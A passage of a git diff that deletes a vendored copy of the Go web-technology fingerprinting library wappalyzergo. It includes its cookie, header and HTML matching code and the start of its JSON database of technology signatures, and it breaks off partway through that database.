tokenType := tokenizer.Next(); tokenType != html.TextToken { - continue - } - title = tokenizer.Token().Data - } - } - } -} - -// getMetaNameAndContent gets name and content attributes from meta html token -func getMetaNameAndContent(token html.Token) (string, string, bool) { - if len(token.Attr) < keyValuePairLength { - return "", "", false - } - - var name, content string - for _, attr := range token.Attr { - switch attr.Key { - case "name": - name = attr.Val - case "content": - content = attr.Val - } - } - return name, content, true -} - -// getScriptSource gets src tag from a script tag -func getScriptSource(token html.Token) (string, bool) { - if len(token.Attr) < 1 { - return "", false - } - - var source string - for _, attr := range token.Attr { - switch attr.Key { - case "src": - source = attr.Val - } - } - return source, true -} - -// unsafeToString converts a byte slice to string and does it with -// zero allocations. -// -// NOTE: This function should only be used if its certain that the underlying -// array has not been manipulated. -// -// Reference - https://github.com/golang/go/issues/25484 -func unsafeToString(data []byte) string { - return *(*string)(unsafe.Pointer(&data)) -} diff --git a/fingprints/webserver/wappalyzergo/fingerprint_cookies.go b/fingprints/webserver/wappalyzergo/fingerprint_cookies.go deleted file mode 100644 index 82b4ee9..0000000 --- a/fingprints/webserver/wappalyzergo/fingerprint_cookies.go +++ /dev/null @@ -1,55 +0,0 @@ -package wappalyzergo - -import ( - "strings" -) - -// checkCookies checks if the cookies for a target match the fingerprints -// and returns the matched IDs if any. -func (s *Wappalyze) checkCookies(cookies []string) []string { - // Normalize the cookies for further processing - normalized := s.normalizeCookies(cookies) - - technologies := s.fingerprints.matchMapString(normalized, cookiesPart) - return technologies -} - -const keyValuePairLength = 2 - -// normalizeCookies normalizes the cookies and returns an -// easily parsed format that can be processed upon. -func (s *Wappalyze) normalizeCookies(cookies []string) map[string]string { - normalized := make(map[string]string) - - for _, part := range cookies { - parts := strings.SplitN(strings.Trim(part, " "), "=", keyValuePairLength) - if len(parts) < keyValuePairLength { - continue - } - normalized[parts[0]] = parts[1] - } - return normalized -} - -// findSetCookie finds the set cookie header from the normalized headers -func (s *Wappalyze) findSetCookie(headers map[string]string) []string { - value, ok := headers["set-cookie"] - if !ok { - return nil - } - - var values []string - for _, v := range strings.Split(value, " ") { - if v == "" { - continue - } - if strings.Contains(v, ",") { - values = append(values, strings.Split(v, ",")...) - } else if strings.Contains(v, ";") { - values = append(values, strings.Split(v, ";")...) - } else { - values = append(values, v) - } - } - return values -} diff --git a/fingprints/webserver/wappalyzergo/fingerprint_headers.go b/fingprints/webserver/wappalyzergo/fingerprint_headers.go deleted file mode 100644 index 988e1ab..0000000 --- a/fingprints/webserver/wappalyzergo/fingerprint_headers.go +++ /dev/null @@ -1,43 +0,0 @@ -package wappalyzergo - -import ( - "strings" -) - -// checkHeaders checks if the headers for a target match the fingerprints -// and returns the matched IDs if any. -func (s *Wappalyze) checkHeaders(headers map[string]string) []string { - technologies := s.fingerprints.matchMapString(headers, headersPart) - return technologies -} - -// normalizeHeaders normalizes the headers for the tech discovery on headers -func (s *Wappalyze) normalizeHeaders(headers map[string][]string) map[string]string { - normalized := make(map[string]string, len(headers)) - data := getHeadersMap(headers) - - for header, value := range data { - normalized[strings.ToLower(header)] = strings.ToLower(value) - } - return normalized -} - -// GetHeadersMap returns a map[string]string of response headers -func getHeadersMap(headersArray map[string][]string) map[string]string { - headers := make(map[string]string, len(headersArray)) - - builder := &strings.Builder{} - for key, value := range headersArray { - for i, v := range value { - builder.WriteString(v) - if i != len(value)-1 { - builder.WriteString(", ") - } - } - headerValue := builder.String() - - headers[key] = headerValue - builder.Reset() - } - return headers -} diff --git a/fingprints/webserver/wappalyzergo/fingerprints.go b/fingprints/webserver/wappalyzergo/fingerprints.go deleted file mode 100644 index 76052f1..0000000 --- a/fingprints/webserver/wappalyzergo/fingerprints.go +++ /dev/null @@ -1,395 +0,0 @@ -package wappalyzergo - -import ( - "fmt" - regexp "github.com/wasilibs/go-re2" - "strconv" - "strings" -) - -// Fingerprints contains a map of fingerprints for tech detection -type Fingerprints struct { - // Apps is organized as - Apps map[string]*Fingerprint `json:"apps"` -} - -// Fingerprint is a single piece of information about a tech validated and normalized -type Fingerprint struct { - Cookies map[string]string `json:"cookies"` - JS []string `json:"js"` - Headers map[string]string `json:"headers"` - HTML []string `json:"html"` - CSS []string `json:"css"` - Script []string `json:"scripts"` - Meta map[string][]string `json:"meta"` - Implies []string `json:"implies"` - Description string `json:"description"` - Website string `json:"website"` -} - -// CompiledFingerprints contains a map of fingerprints for tech detection -type CompiledFingerprints struct { - // Apps is organized as - Apps map[string]*CompiledFingerprint -} - -// CompiledFingerprint contains the compiled fingerprints from the tech json -type CompiledFingerprint struct { - // implies contains technologies that are implicit with this tech - implies []string - // description contains fingerprint description - description string - // website contains a URL associated with the fingerprint - website string - // cookies contains fingerprints for target cookies - cookies map[string]*versionRegex - // js contains fingerprints for the js file - js []*versionRegex - // headers contains fingerprints for target headers - headers map[string]*versionRegex - // html contains fingerprints for the target HTML - html []*versionRegex - // script contains fingerprints for script tags - script []*versionRegex - // meta contains fingerprints for meta tags - meta map[string][]*versionRegex -} - -// AppInfo contains basic information about an App. -type AppInfo struct { - Description string - Website string -} - -type versionRegex struct { - regex *regexp.Regexp - skipRegex bool - group int -} - -const versionPrefix = "version:\\" - -// newVersionRegex creates a new version matching regex -// TODO: handles simple group cases only as of now (no ternary) -func newVersionRegex(value string) (*versionRegex, error) { - splitted := strings.Split(value, "\\;") - if len(splitted) == 0 { - return nil, nil - } - - compiled, err := regexp.Compile(splitted[0]) - if err != nil { - return nil, err - } - skipRegex := splitted[0] == "" - regex := &versionRegex{regex: compiled, skipRegex: skipRegex} - for _, part := range splitted { - if strings.HasPrefix(part, versionPrefix) { - group := strings.TrimPrefix(part, versionPrefix) - if parsed, err := strconv.Atoi(group); err == nil { - regex.group = parsed - } - } - } - return regex, nil -} - -// MatchString returns true if a version regex matched. -// The found version is also returned if any. -func (v *versionRegex) MatchString(value string) (bool, string) { - if v.skipRegex { - return true, "" - } - matches := v.regex.FindAllStringSubmatch(value, -1) - if len(matches) == 0 { - return false, "" - } - - var version string - if v.group > 0 { - for _, match := range matches { - version = match[v.group] - } - } - return true, version -} - -// part is the part of the fingerprint to match -type part int - -// parts that can be matched -const ( - cookiesPart part = iota + 1 - jsPart - headersPart - htmlPart - scriptPart - metaPart -) - -// loadPatterns loads the fingerprint patterns and compiles regexes -func compileFingerprint(fingerprint *Fingerprint) *CompiledFingerprint { - compiled := &CompiledFingerprint{ - implies: fingerprint.Implies, - description: fingerprint.Description, - website: fingerprint.Website, - cookies: make(map[string]*versionRegex), - js: make([]*versionRegex, 0, len(fingerprint.JS)), - headers: make(map[string]*versionRegex), - html: make([]*versionRegex, 0, len(fingerprint.HTML)), - script: make([]*versionRegex, 0, len(fingerprint.Script)), - meta: make(map[string][]*versionRegex), - } - - for header, pattern := range fingerprint.Cookies { - fingerprint, err := newVersionRegex(pattern) - if err != nil { - continue - } - compiled.cookies[header] = fingerprint - } - - for _, pattern := range fingerprint.JS { - fingerprint, err := newVersionRegex(pattern) - if err != nil { - continue - } - compiled.js = append(compiled.js, fingerprint) - } - - for header, pattern := range fingerprint.Headers { - fingerprint, err := newVersionRegex(pattern) - if err != nil { - continue - } - compiled.headers[header] = fingerprint - } - - for _, pattern := range fingerprint.HTML { - fingerprint, err := newVersionRegex(pattern) - if err != nil { - continue - } - compiled.html = append(compiled.html, fingerprint) - } - - for _, pattern := range fingerprint.Script { - fingerprint, err := newVersionRegex(pattern) - if err != nil { - continue - } - compiled.script = append(compiled.script, fingerprint) - } - - for meta, patterns := range fingerprint.Meta { - var compiledList []*versionRegex - - for _, pattern := range patterns { - fingerprint, err := newVersionRegex(pattern) - if err != nil { - continue - } - compiledList = append(compiledList, fingerprint) - } - compiled.meta[meta] = compiledList - } - return compiled -} - -// matchString matches a string for the fingerprints -func (f *CompiledFingerprints) matchString(data string, part part) []string { - var matched bool - var technologies []string - - for app, fingerprint := range f.Apps { - var version string - - switch part { - case jsPart: - for _, pattern := range fingerprint.js { - if valid, versionString := pattern.MatchString(data); valid { - matched = true - version = versionString - } - } - case scriptPart: - for _, pattern := range fingerprint.script { - if valid, versionString := pattern.MatchString(data); valid { - matched = true - version = versionString - } - } - case htmlPart: - for _, pattern := range fingerprint.html { - if valid, versionString := pattern.MatchString(data); valid { - matched = true - version = versionString - } - } - } - - // If no match, continue with the next fingerprint - if !matched { - continue - } - - if version != "" { - app = formatAppVersion(app, version) - } - // Append the technologies as well as implied ones - technologies = append(technologies, app) - if len(fingerprint.implies) > 0 { - technologies = append(technologies, fingerprint.implies...) - } - matched = false - } - return technologies -} - -// matchKeyValue matches a key-value store map for the fingerprints -func (f *CompiledFingerprints) matchKeyValueString(key, value string, part part) []string { - var matched bool - var technologies []string - - for app, fingerprint := range f.Apps { - var version string - - switch part { - case cookiesPart: - for data, pattern := range fingerprint.cookies { - if data != key { - continue - } - - if valid, versionString := pattern.MatchString(value); valid { - matched = true - version = versionString - break - } - } - case headersPart: - for data, pattern := range fingerprint.headers { - if data != key { - continue - } - - if valid, versionString := pattern.MatchString(value); valid { - matched = true - version = versionString - break - } - } - case metaPart: - for data, patterns := range fingerprint.meta { - if data != key { - continue - } - - for _, pattern := range patterns { - if valid, versionString := pattern.MatchString(value); valid { - matched = true - version = versionString - break - } - } - } - } - - // If no match, continue with the next fingerprint - if !matched { - continue - } - - // Append the technologies as well as implied ones - if version != "" { - app = formatAppVersion(app, version) - } - technologies = append(technologies, app) - if len(fingerprint.implies) > 0 { - technologies = append(technologies, fingerprint.implies...) - } - matched = false - } - return technologies -} - -// matchMapString matches a key-value store map for the fingerprints -func (f *CompiledFingerprints) matchMapString(keyValue map[string]string, part part) []string { - var matched bool - var technologies []string - - for app, fingerprint := range f.Apps { - var version string - - switch part { - case cookiesPart: - for data, pattern := range fingerprint.cookies { - value, ok := keyValue[data] - if !ok { - continue - } - if pattern == nil { - matched = true - } - if valid, versionString := pattern.MatchString(value); valid { - matched = true - version = versionString - break - } - } - case headersPart: - for data, pattern := range fingerprint.headers { - value, ok := keyValue[data] - if !ok { - continue - } - - if valid, versionString := pattern.MatchString(value); valid { - matched = true - version = versionString - break - } - } - case metaPart: - for data, patterns := range fingerprint.meta { - value, ok := keyValue[data] - if !ok { - continue - } - - for _, pattern := range patterns { - if valid, versionString := pattern.MatchString(value); valid { - matched = true - version = versionString - break - } - } - } - } - - // If no match, continue with the next fingerprint - if !matched { - continue - } - - // Append the technologies as well as implied ones - if version != "" { - app = formatAppVersion(app, version) - } - technologies = append(technologies, app) - if len(fingerprint.implies) > 0 { - technologies = append(technologies, fingerprint.implies...) - } - matched = false - } - return technologies -} - -func formatAppVersion(app, version string) string { - return fmt.Sprintf("%s:%s", app, version) -} - -// GetFingerprints returns the fingerprint string from wappalyzer -func GetFingerprints() string { - return fingerprints -} diff --git a/fingprints/webserver/wappalyzergo/fingerprints_data.go b/fingprints/webserver/wappalyzergo/fingerprints_data.go deleted file mode 100644 index 765b9b7..0000000 --- a/fingprints/webserver/wappalyzergo/fingerprints_data.go +++ /dev/null @@ -1,8 +0,0 @@ -package wappalyzergo - -import ( - _ "embed" -) - -//go:embed fingerprints_data.json -var fingerprints string diff --git a/fingprints/webserver/wappalyzergo/fingerprints_data.json b/fingprints/webserver/wappalyzergo/fingerprints_data.json deleted file mode 100644 index 7c68a2f..0000000 --- a/fingprints/webserver/wappalyzergo/fingerprints_data.json +++ /dev/null @@ -1,29820 +0,0 @@ -{ - "apps": { - "1C-Bitrix": { - "cookies": { - "bitrix_sm_guest_id": "", - "bitrix_sm_last_ip": "", - "bitrix_sm_sale_uid": "" - }, - "headers": { - "set-cookie": "bitrix_", - "x-powered-cms": "bitrix site manager" - }, - "implies": [ - "PHP" - ], - "description": "1C-Bitrix is a system of web project management, universal software for the creation, support and successful development of corporate websites and online stores.", - "website": "http://www.1c-bitrix.ru" - }, - "2B Advice": { - "js": [ - "bbcookiecontroler" - ], - "description": "2B Advice provides a plug-in to manage GDPR cookie consent.", - "website": "https://www.2b-advice.com/en/data-privacy-software/cookie-consent-plugin/" - }, - "30namaPlayer": { - "description": "30namaPlayer is a modified version of Video.js to work with videos on HTML using javascript.", - "website": "https://30nama.com/" - }, - "33Across": { - "js": [ - "tynt" - ], - "description": "33Across is a technology company focused on solving the challenge of consumer attention for automated advertising.", - "website": "https://www.33across.com" - }, - "34SP.com": { - "description": "34SP.com specialises in website hosting, discount domain names, low cost VPS servers and dedicated servers.", - "website": "https://www.34sp.com" - }, - "4-Tell": { - "cookies": { - "4tell": "", - "4tellcart": "", - "4tellsession": "" - }, - "js": [ - "_4tellboost" - ], - "description": "4-Tell is an ecommerce software company for retailers with AI-powered personalisation and recommendations products.", - "website": "https://4-tell.com" - }, - "51.LA": { - "js": [ - "la.config.ck" - ], - "description": "51.LA is a Chinese based website visitor counter.", - "website": "https://www.51.la" - }, - "5centsCDN": { - "headers": { - "x-cdn": "^5centscdn$" - }, - "description": "5centsCDN is a content delivery networks service provider.", - "website": "https://www.5centscdn.net" - }, - "6sense": { - "headers": { - "content-security-policy": "\\.6sc\\.co/" - }, - "description": "6sense is a B2B predictive intelligence platform for marketing and sales.", - "website": "https://6sense.com" - }, - "8base": { - "description": "8base is a low-code development platform for building and running enterprise-grade digital products including SaaS solutions, marketplaces and other go-to-market applications.", - "website": "https://8base.com" - }, - "\u003cmodel-viewer\u003e": { - "description": "\u003cmodel-viewer\u003e is an open-source web component developed by Google and maintained through GitHub. \u003cmodel-viewer\u003e aims at putting 3D content on the web easily with a few lines of HTML code. This was first introduced with Chrome 72 in July 2019 and enables users to view 3D in the browser and mobile devices.", - "website": "https://modelviewer.dev" - }, - "@sulu/web": { - "js": [ - "web.startcomponents" - ], - "website": "https://github.com/sulu/web-js" - }, - "A-Frame": { - "js": [ - "aframe.version" - ], - "html": [ - "\u003ca-scene[^\u003c\u003e]*\u003e" - ], - "implies": [ - "Three.js" - ], - "website": "https://aframe.io" - }, - "A8.net": { - "js": [ - "a8salescookierepository", - "a8sales", - "map_a8" - ], - "description": " A8.net is an affiliate marketing network.", - "website": "https://www.a8.net" - }, - "AB Tasty": { - "js": [ - "abtasty", - "_abtasty", - "loadabtasty" - ], - "description": "AB Tasty is a customer experience optimisation company. AB Tasty offers AI-driven experimentation, personalisation, and product optimisation platforms for user testing.", - "website": "https://www.abtasty.com" - }, - "ABOUT YOU Commerce Suite": { - "description": "ABOUT YOU Commerce Suite is an enterprise ready infrastructure solution designed for ecommerce companies.", - "website": "https://commercesuite.aboutyou.com" - }, - "ABP Framework": { - "js": [ - "abp.timing.timezone", - "abp.version" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "description": "ABP Framework is a complete infrastructure to create modern web applications by following the best practices and conventions of software development.", - "website": "https://abp.io/" - }, - "AD EBiS": { - "js": [ - "ebis.c.pageurl" - ], - "description": "AD EBiS is an advertising and marketing platform that offers advertisement effectiveness measurement, access and user analysis.", - "website": "http://www.ebis.ne.jp" - }, - "ADAPT": { - "meta": { - "image": [ - "assets\\.adapt\\.ws/" - ] - }, - "description": "ADAPT is a subscription-based app that allows anyone to create video focused online store in minutes on their phone.", - "website": "https://adapt.ws" - }, - "ADFOX": { - "js": [ - "adfox_getcodescript", - "site.adfoxparams", - "adfoxparams", - "adfoxasyncparams", - "adfoxbiddersmap" - ], - "description": "ADFOX is an advertising management platform for media publishers.", - "website": "https://adfox.yandex.ru" - }, - "AFThemes CoverNews": { - "description": "AFThemes CoverNews is a clean and elegant free WordPress theme that is perfect for online blog and magazine.", - "website": "https://afthemes.com/products/covernews" - }, - "ALL-INKL": { - "description": "ALL-INKL is a German-based web hosting provider that promises to offer high-performance services for fair prices.", - "website": "https://all-inkl.com" - }, - "AMP": { - "html": [ - "\u003chtml[^\u003e]* (?:amp|⚡)[^-]", - "\u003clink rel=\"amphtml\"" - ], - "description": "AMP, originally created by Google, is an open-source HTML framework developed by the AMP open-source Project. AMP is designed to help webpages load faster.", - "website": "https://www.amp.dev" - }, - "AMP for WordPress": { - "meta": { - "generator": [ - "^amp plugin v(\\d+\\.\\d+.*)$\\;version:\\1" - ] - }, - "implies": [ - "AMP" - ], - "description": "AMP for WordPress automatically adds Accelerated Mobile Pages (Google AMP Project) functionality to your WordPress site.", - "website": "https://amp-wp.org" - }, - "AOLserver": { - "headers": { - "server": "aolserver/?([\\d.]+)?\\;version:\\1" - }, - "website": "http://aolserver.com" - }, - "AOS": { - "js": [ - "aos.init", - "aos.refresh", - "aos.refreshhard" - ], - "description": "JavaScript library to animate elements on your page as you scroll.", - "website": "http://michalsnik.github.io/aos/" - }, - "APC": { - "description": "APC offers door-to-door parcel and mail delivery.", - "website": "https://www.apc-pli.com" - }, - "ARI Network Services": { - "description": "ARI Network Services provides website, software, and data solutions to help dealers, distributors, and OEMs improve their selling process.", - "website": "https://arinet.com" - }, - "ASP.NET Boilerplate": { - "js": [ - "abp.timing.utcclockprovider", - "abp.aspnetboilerplate.version" - ], - "implies": [ - "Microsoft ASP.NET" - ], - "description": "ASP.NET Boilerplate is a general purpose application framework especially designed for new modern web applications. It uses already familiar tools and implements best practices around them to provide you a SOLID development experience.", - "website": "https://www.aspnetboilerplate.com" - }, - "AT Internet Analyzer": { - "js": [ - "atinternet", - "xtsite" - ], - "website": "http://atinternet.com/en" - }, - "AT Internet XiTi": { - "js": [ - "xt_click" - ], - "website": "http://atinternet.com/en" - }, - "ATSHOP": { - "description": "ATSHOP is an all-in-one ecommerce platform.", - "website": "https://atshop.io" - }, - "AWIN": { - "cookies": { - "_aw_xid": "", - "bagawin": "" - }, - "js": [ - "awin.tracking" - ], - "description": "AWIN is a global affiliate marketing network.", - "website": "https://www.awin.com" - }, - "AWS Certificate Manager": { - "implies": [ - "Amazon Web Services" - ], - "description": "AWS Certificate Manager is a service that lets you easily provision, manage, and deploy public and private Secure Sockets Layer/Transport Layer Security (SSL/TLS) certificates for use with AWS services and your internal connected resources.", - "website": "https://aws.amazon.com/certificate-manager/" - }, - "AWS WAF Captcha": { - "headers": { - "x-amzn-waf-action": "^captcha$" - }, - "implies": [ - "Amazon Web Services" - ], - "description": "AWS WAF Captcha helps block unwanted bot traffic by requiring users to successfully complete challenges before their web request are allowed to reach AWS WAF protected resources.", - "website": "https://docs.aws.amazon.com/waf/latest/developerguide/waf-captcha.html" - }, - "AWStats": { - "meta": { - "generator": [ - "awstats ([\\d.]+(?: \\(build [\\d.]+\\))?)\\;version:\\1" - ] - }, - "implies": [ - "Perl" - ], - "website": "http://awstats.sourceforge.net" - }, - "Abicart": { - "meta": { - "generator": [ - "abicart", - "textalk webshop" - ] - }, - "description": "Abicart is an ecommerce platform developed by the Swedish company Abicart AB.", - "website": "https://abicart.com/" - }, - "Absorb": { - "cookies": { - "_absorb_ui_session": "" - }, - "js": [ - "absorblms" - ], - "description": "Absorb is a cloud-based learning management system.", - "website": "https://www.absorblms.com" - }, - "Accentuate Custom Fields": { - "description": "Accentuate Custom Fields is the professional and de facto solution to easily extend your Shopify store with your own custom fields such multi-language text fields, images, checkboxes, dates, selection list and custom JSON objects.", - "website": "https://www.accentuate.io" - }, - "AccessTrade": { - "description": "AccessTrade is an affiliate marketing platform based on the CPA model developed by Interspace Co.", - "website": "https://accesstrade.global/" - }, - "AccessiBe": { - "js": [ - "acsb", - "acsbjs" - ], - "description": "AccessiBe is an accessibility overlay which claims to provide ADA and WCAG compliance. The system scans and analyzes a website, and applies adjustments which they claim make your website ADA and WCAG 2.1 compliant.", - "website": "https://accessibe.com" - }, - "Accessibility Toolbar Plugin": { - "js": [ - "micaccesstool.prototype.opencloseboxkeyboard" - ], - "description": "Accessibility Toolbar Plugin is an accessibility component without dependencies (clean javascript), including a variety of tools.", - "website": "https://webworks.ga/acc_toolbar" - }, - "Accessible360": { - "description": "Accessible360 is a web accessibility company based in Edina, Minnesota.", - "website": "https://accessible360.com" - }, - "Accessibly": { - "js": [ - "accessibilitywidget.name" - ], - "description": "Accessibly is an app which is designed to assist with meeting certain requirements of WCAG 2.1 using an overlay solution.", - "website": "https://www.onthemapmarketing.com/accessibly/" - }, - "Accesso": { - "js": [ - "accesso" - ], - "description": "Accesso provides ticketing, ecommerce and Point-of-Sale (PoS) solutions.", - "website": "https://accesso.com/" - }, - "AccuWeather": { - "description": "AccuWeather provides weather forecasts and warnings and additional weather products and services.", - "website": "https://partners.accuweather.com" - }, - "Ace": { - "js": [ - "ace.editor", - "ace.version", - "ace.editsession" - ], - "description": "Ace is an embeddable code editor written in JavaScript.", - "website": "https://github.com/ajaxorg/ace" - }, - "Ackee": { - "js": [ - "ackeetracker" - ], - "description": "Ackee is a self-hosted, Node.js based analytics tool with a focus on privacy.", - "website": "https://ackee.electerious.com" - }, - "Acoustic Experience Analytics": { - "js": [ - "tealeaf", - "tlt.config.core.modules.tlcookie", - "tlt_version" - ], - "description": "Acoustic Experience Analytics (Tealeaf), formerly known as IBM Tealeaf Customer Experience on Cloud, is a SaaS-based analytics solution that delivers Tealeaf core capabilities in an managed cloud environment. Tealeaf captures and manages each visitor interaction on your website and mobile applications.", - "website": "https://acoustic.com/tealeaf" - }, - "Acquia Campaign Factory": { - "implies": [ - "Mautic" - ], - "description": "Acquia Campaign Factory is centralized marketing management system powered by Mautic.", - "website": "https://www.acquia.com/products/marketing-cloud/campaign-factory" - }, - "Acquia Cloud IDE": { - "implies": [ - "Acquia Cloud Platform" - ], - "description": "Acquia Cloud IDE is a browser-based source code editor and a Drupal development stack running on the Acquia Cloud Platform.", - "website": "https://www.acquia.com/products/drupal-cloud/cloud-ide" - }, - "Acquia Cloud Platform": { - "headers": { - "x-ah-environment": "^(next)?.*$\\;version:\\1?next:" - }, - "implies": [ - "Amazon Web Services" - ], - "description": "Acquia Cloud Platform is a Drupal-tuned application lifecycle management suite with an infrastructure to support Drupal deployment workflow processes.", - "website": "https://www.acquia.com/products/drupal-cloud/cloud-platform" - }, - "Acquia Cloud Platform CDN": { - "headers": { - "via": "acquia platform cdn (.+)\\;version:\\1" - }, - "implies": [ - "Acquia Cloud Platform" - ], - "website": "https://docs.acquia.com/cloud-platform/platformcdn/" - }, - "Acquia Cloud Site Factory": { - "implies": [ - "Acquia Cloud Platform", - "Drupal Multisite" - ], - "description": "Acquia Site Factory is a multisite platform for Drupal.", - "website": "https://www.acquia.com/products/drupal-cloud/site-factory" - }, - "Acquia Content Hub": { - "headers": { - "content-security-policy": "content-hub\\.acquia\\.com" - }, - "implies": [ - "Acquia Cloud Platform" - ], - "description": "Acquia Content Hub is a cloud-based, centralized content distribution and syndication service.", - "website": "https://www.acquia.com/products/drupal-cloud/content-hub" - }, - "Acquia Customer Data Platform": { - "js": [ - "agiloneobject", - "$a1", - "$a1config" - ], - "description": "Acquia Customer Data Platform (formerly AgilOne) is a customer data platform for Drupal.", - "website": "https://www.acquia.com/products/marketing-cloud/customer-data-platform" - }, - "Acquia Personalization": { - "js": [ - "acquialift", - "_tcaq" - ], - "implies": [ - "Acquia Cloud Platform\\;confidence:95" - ], - "description": "Acquia Personalization (formerly Acquia Lift) lets you track customers' behavior throughout your website.", - "website": "https://www.acquia.com/products/marketing-cloud/personalization" - }, - "Acquia Site Studio": { - "implies": [ - "Acquia Cloud Platform" - ], - "description": "Site Studio (formerly Cohesion) is a low-code, Drupal add-on page builder.", - "website": "https://www.acquia.com/products/drupal-cloud/site-studio" - }, - "Acquire Cobrowse": { - "js": [ - "acquirecobrowsesettings", - "acquireconfignodeserver", - "acquirecobrowsertc" - ], - "description": "Acquire Cobrowse is a safe and secure method of interacting with a customer's browser without downloading any additional software.", - "website": "https://acquire.io/co-browsing" - }, - "Acquire Live Chat": { - "js": [ - "_acquire_init_config", - "acquire" - ], - "description": "Acquire is a multi-channel customer support platform designed to provide real-time customer support to customers.", - "website": "https://acquire.io" - }, - "Act-On": { - "js": [ - "acton" - ], - "description": "Act-On is a cloud-based SaaS product for marketing automation.", - "website": "http://act-on.com" - }, - "Actito": { - "cookies": { - "smartfocus": "" - }, - "js": [ - "smartfocus", - "_actgoal" - ], - "description": "Actito is an agile SaaS marketing automation platform.", - "website": "https://www.actito.com" - }, - "ActiveCampaign": { - "js": [ - "acenabletracking" - ], - "description": "ActiveCampaign is email and marketing automation software.", - "website": "https://www.activecampaign.com" - }, - "Acuity Scheduling": { - "js": [ - "acuity_modal_init" - ], - "description": "Acuity Scheduling is a cloud-based appointment scheduling software solution.", - "website": "https://acuityscheduling.com" - }, - "AcuityAds": { - "js": [ - "acuityadseventqueue", - "acuityadspixelkey" - ], - "headers": { - "content-security-policy": "\\.acuityplatform\\.com" - }, - "description": "AcuityAds offers automatic solutions to marketers willing to connect through clients across mobile, social, and online display advertising campaigns.", - "website": "https://www.acuityads.com" - }, - "Ad Lightning": { - "description": "Ad Lightning is an programmatic ads monitoring and audit service.", - "website": "https://www.adlightning.com" - }, - "AdBridg": { - "js": [ - "adbridg.cmd" - ], - "description": "AdBridg is a bidding solutions provider for publishers looking to maximize their programmatic revenues.", - "website": "https://www.adbridg.com" - }, - "AdInfinity": { - "website": "http://adinfinity.com.au" - }, - "AdOcean": { - "js": [ - "ado.master", - "ado.placement", - "ado.slave" - ], - "implies": [ - "Gemius" - ], - "website": "https://adocean-global.com" - }, - "AdOpt": { - "js": [ - "adopt_website_code", - "adoptapp.domain" - ], - "description": "AdOpt is a consent tool that prioritises privacy and usability towards the LGPD.", - "website": "https://goadopt.io" - }, - "AdRecover": { - "js": [ - "adrecover.ap" - ], - "description": "AdRecover is a tool that helps online publishers monetise their Adblock inventory.", - "website": "https://www.adrecover.com" - }, - "AdRiver": { - "js": [ - "adrivercounter", - "adriverprebid", - "adfoxbiddersmap.adriver", - "adriver" - ], - "description": "AdRiver is a company which provide internet advertising management and audit software.", - "website": "http://adriver.ru" - }, - "AdRoll": { - "js": [ - "adroll_version", - "adroll_adv_id", - "adroll_pix_id" - ], - "description": "AdRoll is a digital marketing technology platform that specializes in retargeting.", - "website": "http://adroll.com" - }, - "AdRoll CMP System": { - "js": [ - "__adroll_consent_is_gdpr", - "__adroll_consent" - ], - "description": "AdRoll CMP System is a consent management solution.", - "website": "https://www.adroll.com/features/consent-management" - }, - "AdScale": { - "js": [ - "_adscale", - "adscaleaddtocart", - "adscaleviewproduct" - ], - "description": "AdScale is a cloud-based, AI-powered performance optimisation platform which utilises machine learning to automate and optimise AdWords campaigns across Google Search, Google Shopping, Google Display, and YouTube.", - "website": "https://www.adscale.com" - }, - "AdThrive": { - "js": [ - "adthrive", - "adthrivevideosinjected" - ], - "description": "AdThrive is an online advertising network aka ad provider for bloggers for blog monetisation.", - "website": "https://www.adthrive.com" - }, - "Ada": { - "js": [ - "__adaembedconstructor", - "adaembed" - ], - "description": "Ada is an automated customer experience company that provides chat bots used in customer support.", - "website": "https://www.ada.cx" - }, - "AdaSiteCompliance": { - "js": [ - "adastoolboxappstate", - "adaschelper" - ], - "description": "AdaSiteCompliance is a web accessibility solution, making websites compliant and accessible to WCAG 2.1 and section 508 compliance standards.", - "website": "https://adasitecompliance.com" - }, - "Adabra": { - "js": [ - "adabrapreview", - "adabra_version_panel", - "adabra_version_track" - ], - "description": "Adabra is a SaaS omnichannel marketing automation platform to help boost sales. Adabra allows you to manage user segmentation, create workflow and campaigns through email, social, SMS and more.", - "website": "https://www.adabra.com" - }, - "Adally": { - "website": "https://adally.com/" - }, - "Adalyser": { - "js": [ - "adalysermodules" - ], - "description": "Adalyser is an online platform offering the tools needed to get up and running with TV advertising.", - "website": "https://adalyser.com/" - }, - "Adcash": { - "js": [ - "suloaded", - "suurl", - "ac_bgclick_url", - "ct_nopp", - "ct_nsuurl", - "ct_siteunder", - "ct_tag" - ], - "website": "http://adcash.com" - }, - "AddEvent": { - "description": "AddEvent is used to Add to Calendar and event tools for websites and newsletters.", - "website": "https://www.addevent.com" - }, - "AddShoppers": { - "description": "AddShoppers is the social media marketing command center for small-medium online retailers.", - "website": "http://www.addshoppers.com" - }, - "AddThis": { - "js": [ - "addthis" - ], - "description": "AddThis is a social bookmarking service that can be integrated into a website with the use of a web widget.", - "website": "http://www.addthis.com" - }, - "AddToAny": { - "js": [ - "a2apage_init" - ], - "description": "AddToAny is a universal sharing platform that can be integrated into a website by use of a web widget or plugin.", - "website": "http://www.addtoany.com" - }, - "AddToAny Share Buttons": { - "implies": [ - "AddToAny" - ], - "description": "AddToAny Share Buttons plugin for WordPress increases traffic and engagement by helping people share your posts and pages to any service.", - "website": "https://github.com/projectestac/wordpress-add-to-any" - }, - "Addi": { - "description": "Addi is a service that allows users to make purchases and pay for them in installments over time", - "website": "https://co.addi.com/" - }, - "Addsearch": { - "js": [ - "addsearchclient", - "addsearchui" - ], - "description": "Addsearch is a site search solution for small and large websites.", - "website": "https://www.addsearch.com/" - }, - "Adform": { - "description": "Adform is an all-in-one platform for digital advertising.", - "website": "https://site.adform.com" - }, - "Adjust": { - "js": [ - "adjust.initsdk" - ], - "description": "Adjust is the mobile marketing analytics platform.", - "website": "https://www.adjust.com" - }, - "Adloox": { - "description": "Adloox is a European-born buy-side ad verification and insights company.", - "website": "https://www.adloox.com" - }, - "Adminer": { - "html": [ - "adminer\u003c/a\u003e \u003cspan class=\"version\"\u003e([\\d.]+)\u003c/span\u003e\\;version:\\1", - "onclick=\"bodyclick\\(event\\);\" onload=\"verifyversion\\('([\\d.]+)'\\);\"\u003e\\;version:\\1" - ], - "implies": [ - "PHP" - ], - "website": "http://www.adminer.org" - }, - "Admiral": { - "js": [ - "admiral" - ], - "description": "Admiral is a Visitor Relationship Management (VRM) platform.", - "website": "https://www.getadmiral.com" - }, - "Admitad": { - "js": [ - "admitad", - "admitad" - ], - "description": "Admitad is an affiliate network that acts as an intermediary between advertisers and publishers.", - "website": 